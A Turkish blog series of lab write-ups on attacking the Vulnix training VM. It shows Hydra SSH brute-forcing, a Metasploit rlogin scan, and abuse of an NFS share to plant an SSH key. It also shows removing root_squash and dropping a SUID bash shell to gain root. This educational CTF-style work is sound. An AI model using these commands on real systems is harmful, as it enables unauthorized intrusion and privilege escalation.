AG Test: kali

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #3

<br /><h3><span style="color: #cc0000;">4. Yetki Yükseltme</span></h3><div class="MsoListParagraph"><div style="text-align: justify;"><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s320/vulnix.png" width="320" /></a>Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya da diğer tabiri ile root olmak olacaktır. Bunun için öncelikle eldeki hesabın neler yapabildiğinin belirlenmesi gerekmektedir. Bunun için <b><span style="font-family: Courier New, Courier, monospace;">sudo -l</span></b> komutundan faydalanılabilir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR_4vRKOzHy5dSIVQu3rBZaiDGXPardgMTO5Sn1afbn34HPx7QUubXvMTXlDQFIXRDstYE2ZMNlmHxN_cyBu5vizoev6sQAJwLOc91giJ4b2G-Itc9xoqF6kNtfsOtsUKlClZKEgt2sSv0/s1600/2013-08-24_224114.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR_4vRKOzHy5dSIVQu3rBZaiDGXPardgMTO5Sn1afbn34HPx7QUubXvMTXlDQFIXRDstYE2ZMNlmHxN_cyBu5vizoev6sQAJwLOc91giJ4b2G-Itc9xoqF6kNtfsOtsUKlClZKEgt2sSv0/s640/2013-08-24_224114.png" width="640" /></a></div><div style="text-align: justify;">Komut çıktısına dair ekran görüntüsünde de görüldüğü gibi, vulnix kullanıcısının <b>/etc/exports</b> dosyasını root hakları ile parolasız olarak düzenleme hakkı vardır. Dosya içeriğine bakıldığında NFS paylaşımının <b>root_squash</b> opsiyonuyla yapıldığı yani NFS paylaşımına uzak makinadan root hakları ile bağlanılsa dahi paylaşım üzerinde root gibi işlem yapılamayacağı görülmektedir.</div><div style="text-align: justify;">Aşağıdaki komut ile ilgili dosyaya erişerek belirtilen bu opsiyonu etkisiz hale getirmek ve paylaşım üzerinde root haklarıyla işlem yapmak mümkün olmaktadır.</div><h4>vulnix@vulnix:~$ sudoedit /etc/exports</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixYaUrsXtzUWuOub1Ti4mz8I101aZCX4u5FiHLnXBqTh-iTNkDJb7A_3kTLMTPE0C4A-kEhHrz9awFENXuPV8ztI6RSKtgOvi0WJsjIJhsHhnIs5WEtkbUwgTQve6bo77kLOn2BN28oKDE/s1600/2013-08-24_224341.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixYaUrsXtzUWuOub1Ti4mz8I101aZCX4u5FiHLnXBqTh-iTNkDJb7A_3kTLMTPE0C4A-kEhHrz9awFENXuPV8ztI6RSKtgOvi0WJsjIJhsHhnIs5WEtkbUwgTQve6bo77kLOn2BN28oKDE/s1600/2013-08-24_224341.png" /></a></div><div><div style="text-align: justify;">Değiştirilen yapılandırmaların geçerli olması NFS servisi yeniden başlatılmalıdır. Vulnix hesabı sınırlı bir hesap olduğu için öncelikle paylaşım BT5 üzerinden umount edildikten sonra Vulnix sanal makinası yeniden başlatılmalıdır.</div></div><h4>root@agguvenligi:~# umount /mnt/nfs</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkmbz7vT5BwXAPWkjB0MuX9vD_JUB37xFtar7UPgoR9GyEK9x22f8gSdb9n0U1Z0yV2wvAgf3UoTY-qnYkrdeum71MAD9Wt5IfifHKtjnAoi7nF9w0cMAxakl6B66WykEs6-g9zBXRnBo0/s1600/2013-08-24_224833.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkmbz7vT5BwXAPWkjB0MuX9vD_JUB37xFtar7UPgoR9GyEK9x22f8gSdb9n0U1Z0yV2wvAgf3UoTY-qnYkrdeum71MAD9Wt5IfifHKtjnAoi7nF9w0cMAxakl6B66WykEs6-g9zBXRnBo0/s1600/2013-08-24_224833.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Sunucu tekrar başladıktan sonra BT5 üzerinden NFS paylaşımına tekrar erişim sağlanır. Dizin içeriği listelenmeye çalışıldığında eskisinin aksine artık sorunsuz bir şekilde dizin içinde dosyaların listelendiği görülmektedir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9b9fWujpsxVUS9c5QYYVkBgO-HHqFaNmGU3DTRqZk-l00PkSuybrDfbMcTnQmZw6zn1DCOFnX80ybrPlf0EAs5yO39EZnFl9Q8IZQzGfwSDR5M2QQlQ6I_Oj5ja4ZE9G9TjIVsjbq0X_r/s1600/2013-08-24_225146.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9b9fWujpsxVUS9c5QYYVkBgO-HHqFaNmGU3DTRqZk-l00PkSuybrDfbMcTnQmZw6zn1DCOFnX80ybrPlf0EAs5yO39EZnFl9Q8IZQzGfwSDR5M2QQlQ6I_Oj5ja4ZE9G9TjIVsjbq0X_r/s1600/2013-08-24_225146.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Sistem üzerinden shell almak için BT5 üzerinden bash çalıştırılabilir dosyası hakları 4777 olacak şekilde hedefe kopyalanır. Burada dosyaya herkes tarafında yazma-okuma-çalıştırma hakları verilmiş olup ayrıca çalıştırana dosya sahibinin haklarıyla işlem yapmasını sağlayacak şekilde (örneğimizde root) SUID biti etkin duruma getirilmiştir. Bunun için aşağıdaki komutlar kullanılabilir.</div><h4>root@agguvenligi:/mnt/nfs# cp /bin/bash .<br />root@agguvenligi:/mnt/nfs# chmod 4777 bash </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6eUyE1wohqSGvqxjf5y7aAodYlPcVHLDDrFqvdOPaRV3pZsKtrjFffF3z9mBvNe08r6lMELROdVHsq_6znJXxfw3S4iyCRMJXkFQLt3rvLSoBEmYMwsgNa8ow9ZNBotAbg0CLSbNh9w5c/s1600/2013-08-24_225358.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6eUyE1wohqSGvqxjf5y7aAodYlPcVHLDDrFqvdOPaRV3pZsKtrjFffF3z9mBvNe08r6lMELROdVHsq_6znJXxfw3S4iyCRMJXkFQLt3rvLSoBEmYMwsgNa8ow9ZNBotAbg0CLSbNh9w5c/s1600/2013-08-24_225358.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Son adımda daha öncede yapıldığı gibi vulnix kullanıcısı ile hedef sisteme SSH bağlantısı kurulmalıdır. Sonrasında hedefe kopyalamış olduğumuz bash kabuğu çalıştırılarak root kullanıcısının ev dizininde yer alan bayrak dosyası trophy.txt ve içeriğine erişim sağlanabildiği görülebilir.</div><blockquote class="tr_bq"><div style="text-align: justify;"><span style="color: #a64d79;">Vulnix makinesi 32bit işletim sistemine sahip olduğu için üzerine kopyalanan bash dosyası da 32bit olmalıdır. Aksi halde -bash: ./bash: cannot execute binary file şeklinde bir hata ile karşılaşılacaktır.</span></div></blockquote><h4>root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh/id_rsa vulnix@192.168.1.101<br />vulnix@vulnix:~$ ./bash -p<br />bash-4.2# id<br />bash-4.2# cat /root/trophy.txt </h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty0sFDBSkjNgGsdnQl0gaPZxuq0jQiZE7yqa9NBy7WAGX9lNHdjMIuGYsjOv-wTeJiUMa7WDYJ00Wqi8y8cOSygXacrTVPllkMW5G4sQGtXgwsFFs2jZ2f3NQngJj1O6vZDWummmO9JIc/s1600/2013-08-24_230832.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="547" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjty0sFDBSkjNgGsdnQl0gaPZxuq0jQiZE7yqa9NBy7WAGX9lNHdjMIuGYsjOv-wTeJiUMa7WDYJ00Wqi8y8cOSygXacrTVPllkMW5G4sQGtXgwsFFs2jZ2f3NQngJj1O6vZDWummmO9JIc/s640/2013-08-24_230832.png" width="640" /></a></div></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #3

4. Yetki Yükseltme Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya d...

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #2

<br /><h3><span style="color: #cc0000;">3. Sızma Denemesi</span></h3><h3>a. SSH</h3><div style="text-align: justify;"><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaUdhwmUX3j1_kCSfgNPZhgBO1EVY890lrYogSRzRQrenLVPRtApP-Q7NloGYchuu0RYPHOGEKJ_YI-jFpKytKXYbxmwV0ECEGbb-KGBGzkIAmr_GrDRjPTRHEBLKAtaNPed15pFtU9jL/s320/vulnix.png" width="320" /></a>İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldırılarda kullanılabilecek örnek bir sözlük <b><i>/pentest/passwords/wordlists</i></b> dizini altında bulunmaktadır. Bunun yerine kendi oluşturduğunuz bir sözlüğü kullanmanız da mümkündür.<br /><br /></div><div style="text-align: justify;"><b>Hydra </b>aracı bu tür saldırılar için kullanılabilecek performanslı bir araçtır. Aşağıdaki şekilde Vulnix üzerinde uygulanabilir.</div><h4>root@agguvenligi:~# cd /pentest/passwords/wordlists/<br />root@agguvenligi:/pentest/passwords/wordlists# hydra -L darkc0de.lst -P darkc0de.lst -S 192.168.1.101 ssh</h4>Komut çalıştırıldıktan sonra bulunan kullanıcı adı ve parola bilgisi aşağıdaki gibi gözükmektedir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5fdMwckUAVQoA-thn0LF7A-DLNp9WN7wlXTqNtEMCHhrC_BFsoKYNFEP8ZAvEHNb-aMo0AxIbPSoVNpyNcAbO4-mgVYM9AsOTCtT0zTrQ-GLlLEW2HNBzp0c5PpYlMhSv-ETgwNbmdg6/s1600/2013-08-24_210224.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip5fdMwckUAVQoA-thn0LF7A-DLNp9WN7wlXTqNtEMCHhrC_BFsoKYNFEP8ZAvEHNb-aMo0AxIbPSoVNpyNcAbO4-mgVYM9AsOTCtT0zTrQ-GLlLEW2HNBzp0c5PpYlMhSv-ETgwNbmdg6/s1600/2013-08-24_210224.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><h3>b. RLOGIN</h3><div style="text-align: justify;">Vulnix üzerinde açık olduğunu belirlenen bir diğer serviste Rlogin servisidir. Bu servis doğru kullanıcı adının bilinmesi halinde parolasız olarak sisteme erişim yetkisi veren tehlikeli olabilecek bir servistir. Bir önceki adımda elde edilen SSH bilgileri ile sisteme erişildiğinde <b>user </b>kullanıcısının sisteme Rlogin ile erişme hakkının olduğu görülebilir.</div><div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWWRQbB8Ilw6mMobOtV4JDrBn3oxThTlIhLlgkbYeJnTQoWEH2TvO0ghxBNR18LyEhLVuddIAAs39ey_LWymZ5cwWzjJoNzsFpEYQ-nQxQiNY0NfeUFOuUZy-DxiqDsw5XN2ntaOR3D63/s1600/2013-08-24_210801.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWWRQbB8Ilw6mMobOtV4JDrBn3oxThTlIhLlgkbYeJnTQoWEH2TvO0ghxBNR18LyEhLVuddIAAs39ey_LWymZ5cwWzjJoNzsFpEYQ-nQxQiNY0NfeUFOuUZy-DxiqDsw5XN2ntaOR3D63/s400/2013-08-24_210801.png" width="400" /></a></div>Bu servise yönelik sözlük saldırısı için Metasploit içerisindeki mevcut modüllerden biri olan <b><i>auxiliary/scanner/rservices/rlogin_login</i></b> modülü de kullanılabilir. Kullanımı şu şekildedir:</div><div style="text-align: justify;"><h4 style="text-align: start;">msf > use auxiliary/scanner/rservices/rlogin_login<br />msf auxiliary(rlogin_login) > set RHOSTS 192.168.1.101<br />msf auxiliary(rlogin_login) > run</h4>Metasploit modülü ile de bulunan user kullanıcısının Vulnix sisteme rlogin yapabilmesi için PuTTY üzerinde aşağıdaki adımlar takip edilebilir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBuNtLMUxq0bBvODuKNSFa7BJmZBLMpv_mmYH-BTOfd4mKJATm2n28O9yjdN3KXeEpFeFKXnvUNz4Og66fH6XtUJ-AMDU6QbMzWLSbSSnrFkREvfnYWIZKerMDo0yG_KagJtHcdozhwdbR/s1600/2013-08-24_211252.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBuNtLMUxq0bBvODuKNSFa7BJmZBLMpv_mmYH-BTOfd4mKJATm2n28O9yjdN3KXeEpFeFKXnvUNz4Og66fH6XtUJ-AMDU6QbMzWLSbSSnrFkREvfnYWIZKerMDo0yG_KagJtHcdozhwdbR/s320/2013-08-24_211252.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge93_O3l4QGSsK_MNlkbJPVd7PjPCu5P-BrsbNpEcvzvG4ncgumwz7l8pwWZ5wHP4wRQqE5Zyn229kdy375m-u2tGzVGXg7pCmXECjYdB8Hf4VlksMYQYPro8Z6wWlHN-RkI7qrgdNvTLW/s1600/2013-08-24_211448.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge93_O3l4QGSsK_MNlkbJPVd7PjPCu5P-BrsbNpEcvzvG4ncgumwz7l8pwWZ5wHP4wRQqE5Zyn229kdy375m-u2tGzVGXg7pCmXECjYdB8Hf4VlksMYQYPro8Z6wWlHN-RkI7qrgdNvTLW/s320/2013-08-24_211448.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvA_b_ez-b0Q2cm08xBmEcUs2MxfRyxWXCszVrRQL2jVZpP8sFCAGBqS1v5QBhTgkQDY2X-Jde3puJhLBl9CGSewcjONI5E6tC1JtHp9MjG6D-tVBXFX778fuXp5u_P8O_mAlI8n4HxqKj/s1600/2013-08-24_211520.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvA_b_ez-b0Q2cm08xBmEcUs2MxfRyxWXCszVrRQL2jVZpP8sFCAGBqS1v5QBhTgkQDY2X-Jde3puJhLBl9CGSewcjONI5E6tC1JtHp9MjG6D-tVBXFX778fuXp5u_P8O_mAlI8n4HxqKj/s320/2013-08-24_211520.png" width="320" /></a></div></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><h3>c. NFS</h3><div class="MsoListParagraph" style="text-align: justify;">Son giriş kapısı olarak NFS (Ağ Dosya Paylaşımı) servisini inceleyeceğiz. İlk olarak Kali üzerinden hedef sistemin paylaşımda neler sunduğu sorgulanabilir. Bunun için aşağıdaki komut kullanılabilir.<o:p></o:p></div><h4>root@agguvenligi:~# showmount -e 192.168.1.101</h4><div class="separator" style="clear: both; text-align: center;"></div><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKJsxcDjs3rsJBrh1K-yLjfErqPYZLbU59LSY4O__xmCgwC5dDgBAtnQTjo4jNNL7Ktls57RFd0bGOcAeeGO55s2PQGEAUEzWwyiSj3LIc5sGwfbYJ6pcHxVKarM9vUV2wBr9QFU0zQjq/s1600/2013-08-24_211750.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKJsxcDjs3rsJBrh1K-yLjfErqPYZLbU59LSY4O__xmCgwC5dDgBAtnQTjo4jNNL7Ktls57RFd0bGOcAeeGO55s2PQGEAUEzWwyiSj3LIc5sGwfbYJ6pcHxVKarM9vUV2wBr9QFU0zQjq/s1600/2013-08-24_211750.png" /></a></div>Bu çıktı, vulnix kullanıcısının ev dizininin paylaşıma açık olduğu anlamına gelmektedir. Paylaşıma açık bu dizini Kali üzerine bağlamak için aşağıdaki komut kullanılabilir.</div><h4>root@agguvenligi:~# mkdir /mnt/nfs<br />root@agguvenligi:~# mount 192.168.1.101:/home/vulnix /mnt/nfs</h4><div class="MsoListParagraph" style="text-align: justify;">Sonraki adımda bu dizine erişilmek istenildiğinde <b><i>"Permission Denied"</i></b> hatası alınacaktır. Bu hata paylaşılan dizini sunan kullanıcı ile aynı UID değerine sahip kullanıcının BT5 üzerinde bulunmamasından kaynaklanmaktadır.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig_kyYThyMpMPlm-Bbe1il97mQGyLc7Fa-kcIAnCFlRB3NITac9Mr99W234tvlm-SXZwHn2MT1pjtG9TOCdmrccA0wxCKpyxrnKeVfAo_fMs6sSzWo13hgOgZtAbhzixcg9LGo5eOIp9Ie/s1600/2013-08-24_222137.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig_kyYThyMpMPlm-Bbe1il97mQGyLc7Fa-kcIAnCFlRB3NITac9Mr99W234tvlm-SXZwHn2MT1pjtG9TOCdmrccA0wxCKpyxrnKeVfAo_fMs6sSzWo13hgOgZtAbhzixcg9LGo5eOIp9Ie/s1600/2013-08-24_222137.png" /></a></div>Bu hatayı aşmak için görülen UID değerinde <b>(2008)</b> BT5 üzerinde yeni bir kullanıcı oluşturulmalıdır.</div><h4>root@agguvenligi:~# useradd agguvenligi -u 2008<br />root@agguvenligi:~# su - agguvenligi</h4><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisHCVlTD0azwxV5OYtOe15d2AgWh36gkGcMSRSN-P6FgotR0HF__fCz3FI19dEJVIuJUakStVhLtOXx9p-fFHyIqQ3gn-USitYuUipy6HS7jjnFydysk6STcMrOsdYZKY48UwHhm0863TD/s1600/2013-08-24_222515.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisHCVlTD0azwxV5OYtOe15d2AgWh36gkGcMSRSN-P6FgotR0HF__fCz3FI19dEJVIuJUakStVhLtOXx9p-fFHyIqQ3gn-USitYuUipy6HS7jjnFydysk6STcMrOsdYZKY48UwHhm0863TD/s1600/2013-08-24_222515.png" /></a></div>Bu aşamadan sonra ilgili klasöre erişilebildiği görülebilecektir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAPsTj-cNxjql3gLHd3x21QFjA62w-TtuWGjRu35sUnJoUp_6TMyZpLN1IJ6p7zkEBIgf5bLqdPuWUK5I56tiKykVjLGEGlx4xRrt5RZzmiXOJ3cPgYJTndGX8cf6auOdL_iTsUWcODmGe/s1600/2013-08-24_222645.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAPsTj-cNxjql3gLHd3x21QFjA62w-TtuWGjRu35sUnJoUp_6TMyZpLN1IJ6p7zkEBIgf5bLqdPuWUK5I56tiKykVjLGEGlx4xRrt5RZzmiXOJ3cPgYJTndGX8cf6auOdL_iTsUWcODmGe/s1600/2013-08-24_222645.png" /></a></div>Bağlanan dizin Vulnix kullanıcısının ev dizini olduğu için altında <b>.ssh</b> dizini oluşturarak BT5 üzerinde oluşturulacak public/private anahtar çiftinin bu dizine kopyalanması ile sonrasında parolasız olarak sisteme erişim sağlanabilir.</div><div class="MsoListParagraph" style="text-align: justify;">Bunun için öncelikle BT5 üzerinde anahtar çiftinin oluşturulması gerekir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr56zFHNOi4mvXERo-VIaID4IzcNtrXmWFejG_t2KTWg4tfC6PlTz3GHbMlEuTErmWrsXoM_ioRaO244txu0l6rnYUWIbm8py7JY7tk0I2vikJi3Do86qiz7V1X3duHaR_6WRuYdyeEvhX/s1600/2013-08-24_223119.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr56zFHNOi4mvXERo-VIaID4IzcNtrXmWFejG_t2KTWg4tfC6PlTz3GHbMlEuTErmWrsXoM_ioRaO244txu0l6rnYUWIbm8py7JY7tk0I2vikJi3Do86qiz7V1X3duHaR_6WRuYdyeEvhX/s1600/2013-08-24_223119.png" /></a></div>Aşağıdaki komut ile birlikte oluşturulan anahtar Vulnix makinesinin içerisine kopyalanır.</div><h4>agguvenligi@agguvenligi:/$ cat .ssh/id_rsa.pub > /mnt/nfs/.ssh/authorized_keys</h4><div class="MsoListParagraph" style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7QdpUZNasoXZ-Wed9R9OmB38_uIogCmFq9Rl4ojuB6GvqMtuG56t3eWqRJqbpcVSl_dZz0D8oKrYUetQlHyETC6TxNj6V8C2ZtUbhNcdYjCw2e2OL-Z82YWGmU6YvAhwedsPQJhGNbo0/s1600/2013-08-24_223326.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="52" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7QdpUZNasoXZ-Wed9R9OmB38_uIogCmFq9Rl4ojuB6GvqMtuG56t3eWqRJqbpcVSl_dZz0D8oKrYUetQlHyETC6TxNj6V8C2ZtUbhNcdYjCw2e2OL-Z82YWGmU6YvAhwedsPQJhGNbo0/s640/2013-08-24_223326.png" width="640" /></a></div>Anahtar kopyalandıktan sonra aşağıdaki gibi bir komutla sisteme anahtar dosyası ile parola bilmeksizin bağlanılabilir.</div><h4>root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh//id_rsa vulnix@192.168.1.101</h4><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvTSqNJd0VYNWyyCUiq9yU-maNs1z2r2Fkn2YBVDNecjxyb3Stc1P24h7EBb4RXlkMX9RNZPkxTTs3NeVUDoLlzeoAx1h3u80YQw1b5ijYc_g-G1otw7cOFYHjpHwiwvpznmDHWvZ4RADc/s1600/2013-08-24_223720.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvTSqNJd0VYNWyyCUiq9yU-maNs1z2r2Fkn2YBVDNecjxyb3Stc1P24h7EBb4RXlkMX9RNZPkxTTs3NeVUDoLlzeoAx1h3u80YQw1b5ijYc_g-G1otw7cOFYHjpHwiwvpznmDHWvZ4RADc/s1600/2013-08-24_223720.png" /></a></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #2

3. Sızma Denemesi a. SSH İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldır...

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #1

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZQbCHLejER9rbSQoK2kiIWz8sWKl2Bl_FL0cBCpIP_TE5yd77ypa3dkhiXlDvNy6VdgJcBgtEZyZlGyZybfwY3YLz5DsF_DqWpRZLhyCKvabQeLlVS2RW2qwNKTPPO5dkIPa5EH3u8C2D/s1600/vulnix.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZQbCHLejER9rbSQoK2kiIWz8sWKl2Bl_FL0cBCpIP_TE5yd77ypa3dkhiXlDvNy6VdgJcBgtEZyZlGyZybfwY3YLz5DsF_DqWpRZLhyCKvabQeLlVS2RW2qwNKTPPO5dkIPa5EH3u8C2D/s320/vulnix.png" width="320" /></a></div><div style="text-align: justify;">Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Burada amaçlanan zafiyetlerin tespiti ve bunların kullanılması ile birlikte muhtemel false-positive'lerin ayıklanması ve önem seviyesi çok daha yüksek hedeflere yetkili erişimin sağlanması, dolayısıyla kötü niyetli saldırganların yapabileceklerinin bir benzetiminin ortaya konulmasıdır.</div><div style="text-align: justify;">Bu blog notunda, kurumsal ortamlarda her ne kadar Windows sistemlere nazaran çok daha sınırlı kullanım alanına sahip olsa da veritabanı, middleware vb. için sıklıkla tercih edilen Linux sistemler üzerinde örnek bir sızma testinin nasıl gerçekleştirilebileceğine değinilecektir.</div><div style="text-align: justify;">Linux sistemleri için sızma sürecinde ilk hedef, sisteme bir şekilde giriş hakkı elde etmektir. Bu işlem tamamlandıktan sonra mevcut kullanıcının haklarının arttırılması amaçlanır. Örneğin çekirdek (kernel) sürümünün incelenerek hak yükseltmeye imkan tanıyan zafiyetlerinin belirlenmesi ve varsa kullanılarak root haklarına erişilmesi en klasik yollardan biridir.</div><div style="text-align: justify;">Burada üzerinde çalışılacak <b>Vulnix </b>dağıtımı 10/09/12 tarihinde yayınlanmış olup üzerinde belirli açıklıkları barındıran eğitim amaçlı bir Ubuntu dağıtımıdır. Genel özellikleri aşağıdaki gibi olup imaj <a href="http://www.rebootuser.com/wp-content/uploads/vulnix/Vulnix.7z" target="_blank">bağlantıdan </a>temin edilebilir. CTF uygulaması olarak düşünülebilecek bu imajda asıl amaç <b><i>/root</i></b> dizini altında bulunan trophy dosyasının içeriğine erişmektedir.</div><blockquote class="tr_bq"><span style="color: #a64d79;">Mimari: x86<br />Biçim: VMware (vmx & vmdk)<br />RAM: 512MB<br />Network: NAT<br />Boyutu: 194MB – 7zip<br />Çıkarılmış hali: 820MB</span></blockquote><div style="text-align: justify;">Sızma testi boyunca Backtrack5r3 Linux dağıtımı ve üzerindeki araçlar kullanılacaktır. BT5 imajına <a href="http://www.backtrack-linux.org/downloads/" target="_blank">bağlantıdan </a>erişebilirsiniz.</div><div style="text-align: justify;">Vulnix imajı temin edilip sıkıştırılmış halinden çıkarıldıktan sonra VMWare Workstation üzerinde <b><i>File>Open</i></b> sonrası çıkan menüde <b>Vulnix.vmx</b> dosyasının yolu belirtilerek çalıştırılır. Veya bu dosyayı doğrudan çift tıklayarak ta açabilirsiniz.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Wb7X65MWVsXUEP7yewA8oTRPtBqqy5_M85wcvGZGb9RzxCqTzzf8eJy52GdYxHXaFT2NhZ9X9648uS8Cpcv87A7hy48I7FTsJ3hLK4Ln3x-1PJfRiRVBgvAWv7EeSEDl_FrOdifs4775/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" 